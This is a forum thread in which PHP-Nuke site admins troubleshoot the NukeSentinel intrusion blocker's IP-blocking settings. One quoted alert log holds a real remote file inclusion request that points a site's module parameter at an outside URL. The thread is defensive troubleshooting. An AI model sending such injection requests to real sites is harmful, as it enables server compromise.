Sentinel prob ?

New Member Joined: Dec 23, 2005 Posts: 16

Ok i just installed the latest RN and updated Sentinel till the last version 2.5.13

Now i received by email 2 hack attacks, but the side block still shows zero ?
Is there something wrong, or not configured ?

Pls help, i want my site to be secure.

Posted: Tue Oct 23, 2007 2:23 pm

What do you mean "received by email 2 hack attacks"? If they came in by email NS would not know anything about them. Which side block are you talking about too?

What were the hack attacks? If you look at blocked IPs in Sentinel do you see any? Can you see the hacks in there?

Posted: Tue Oct 23, 2007 2:39 pm

The email msg is similar then this, deleted them by mistake

Quote:

User ID: Anonymous (1)
Reason: Abuse-Script
--------------------
User Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)
Query String: www.burnt-clan.com/modules.php?name=Web_Links&l_op=viewlinkdetails&lid=8&ttitle=Gamershell (Free iiNet Traffic)
Get String: www.burnt-clan.com/modules.php?name=Web_Links&l_op=viewlinkdetails&lid=8&ttitle=Gamershell (Free iiNet Traffic)
Post String: www.burnt-clan.com/modules.php
Forwarded For: none
Client IP: none
Remote Address: 65.55.209.61
Remote Port: 16356
Request Method: GET
--------------------

i cant find any blocked IPs in Sentinel
and i use the side block that says " We have caught 0 shameful hackers. "

Isnt this supposed to be recorded in Sentinel ?

Posted: Tue Oct 23, 2007 3:09 pm

Take a look at your blocker configuration in NS admin. Look at the scripting blocker settings. Under activate they should be email block and forward for you to get the person (IP) blocked. You may just have email selected? Let us know.

Posted: Wed Oct 24, 2007 7:31 am

Yeps, only the email was setup in the settings there.
Changed it, and hopefully it will work now.
Thx for the quick replys.

Posted: Wed Oct 24, 2007 5:00 pm

You are welcome. Let us know if there are further problems.

New Member Joined: Jun 15, 2007 Posts: 13

NS ver 2.5.14

I am having the same problem but I do have all blocks set as Email, Block and Forward.
I checked my database and they look ok in there.
script,4,0,0,www.fbi.gov,Abuse-String,abuse_string.tpl,0,0,<memo> empty.

The email sent to me,

Quote:

ate & Time: 2007-11-17 19:57:03 CST GMT -0600
Blocked IP: 70.65.140.52
User ID: Anonymous (1)
Reason: Abuse-Filter
--------------------
User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322) Query String: www.MYSITE/modules.php?name=http://musicgirll.chat.ru/wav/mysong?
Get String: www.ffclan.us/modules.php?name=http://musicgirll.chat.ru/wav/mysong?
Post String: www.ffclan.us/modules.php
Forwarded For: none
Client IP: none
Remote Address: 70.65.140.52
Remote Port: 42709
Request Method: GET

Any ideas where else I should look?
Other then adding IP to database it seems to work fine.

The existing IP's in my database are ones I imported myself.